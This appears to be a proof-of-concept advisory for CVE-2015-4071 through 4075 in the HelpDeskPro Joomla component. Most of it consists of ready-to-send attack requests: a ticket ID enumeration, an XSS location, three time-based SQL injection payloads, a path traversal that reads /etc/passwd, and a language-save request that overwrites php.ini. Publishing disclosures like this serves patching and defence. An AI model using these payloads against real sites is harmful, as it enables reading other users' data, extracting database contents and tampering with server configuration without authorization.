PoC
===

Direct object references CVE-2015-4071.
Authenticated
Path: http://{target}/component/helpdeskpro/?view=ticket&id={ticketId}

It's possible to read other users' support tickets by changing the
numeric id.


XSS CVE-2015-4072.
Mostly authenticated dependent on site configuration
Output validation is universally overlooked
Example: Name and message
Path:
http://{target}/index.php?option=com_helpdeskpro&view=ticket&layout=form&Itemid=1


SQLi CVE-2015-4073 for both SQLi.

There are 3 SQLi:

Authenticated
Vulnerable parameter: filter_order
Path: http://{url}/index.php?option=com_helpdeskpro&view=tickets
Post data:
search=&category_id=0&status_id=-1&limit=10&limitstart=0&option=com_helpdeskpro&task=&boxchecked=0&filter_order=SLEEP('10')&filter_order_Dir=DESC

Unauthenticated
Vulnerable parameter: ticket_code
Path:
http://{url}/index.php?option=com_helpdeskpro&view=ticket&ticket_code=1"%20or%20sleep(5)%20%23

Unauthenticated
Vulnerable parameter: email
Path: http://{url}/index.php?option=com_helpdeskpro&task=ticket.save
Post data: name=asdf&email=user@example.com"%20and%20sleep(5)%20and%20"3"="3


Local file disclosure/Path traversal CVE-2015-4074.
Unauthenticated
Path:
https://{url}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe


File Upload CVE-2015-4075.
Unauthenticated
Path: http://{url}/index.php?option=com_helpdeskpro&task=language.save
Injected parameter: item, keys, attacker specified
Post data:
lang=&item=./../../../../../../etc/php5/apache2/php&keys[]=[PHP];&[PHP];=val%0aAnyData%0a;
Description: Allows for .ini files to be created wherever the web server
has write access. If the .ini file already exists and is writable, it
will be overwritten by the server. In a poorly configured system, this
will allow for code execution by including applicable arguments in .ini
files. This however is not applicable to most systems. Any non-protected
.ini files will be possible to replace, with impact depending per file.
This PoC will overwrite the file /etc/php5/apache2/php.ini with the content:
;key="val
AnyData
;"
